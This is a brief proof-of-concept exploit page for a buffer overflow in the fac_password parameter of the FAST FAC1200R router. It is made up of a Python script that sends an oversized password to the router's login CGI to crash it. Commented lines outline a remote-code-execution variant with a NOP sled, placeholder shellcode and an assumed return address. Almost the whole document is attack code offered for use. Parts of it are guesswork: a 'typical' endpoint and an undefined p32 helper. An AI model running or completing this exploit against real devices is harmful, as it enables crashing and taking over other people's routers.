CVE-2025-50402 FAST FAC1200R路由器 fac_password参数缓冲区溢出漏洞

import requests # CVE-2025-50402 PoC - Buffer Overflow in FAST FAC1200R fac_password # Target: FAST FAC1200R F400_FAC1200R_Q router # Vulnerability: Buffer overflow in sub_80435780 via fac_password parameter target_ip = "192.168.1.1" # Router IP target_port = 80 # Generate payload with excessive length to trigger overflow # The buffer size is typically around 256-512 bytes password_length = 1024 # Adjust based on target overflow_payload = "A" * password_length # Target endpoint for password parameter (typical router web interface) url = f"http://{target_ip}:{target_port}/cgi-bin/login.cgi" # Construct the malicious request data = { "fac_password": overflow_payload, "username": "admin" } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {password_length} bytes") try: response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Exploit sent - check for crash or shell access") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # For RCE, replace 'A' * password_length with: # return_address = p32(0x08048484) # Address of shellcode # nop_sled = "\x90" * 100 # shellcode = "\xcc" * 50 # Placeholder shellcode # overflow_payload = nop_sled + shellcode + return_address * (password_length // 4)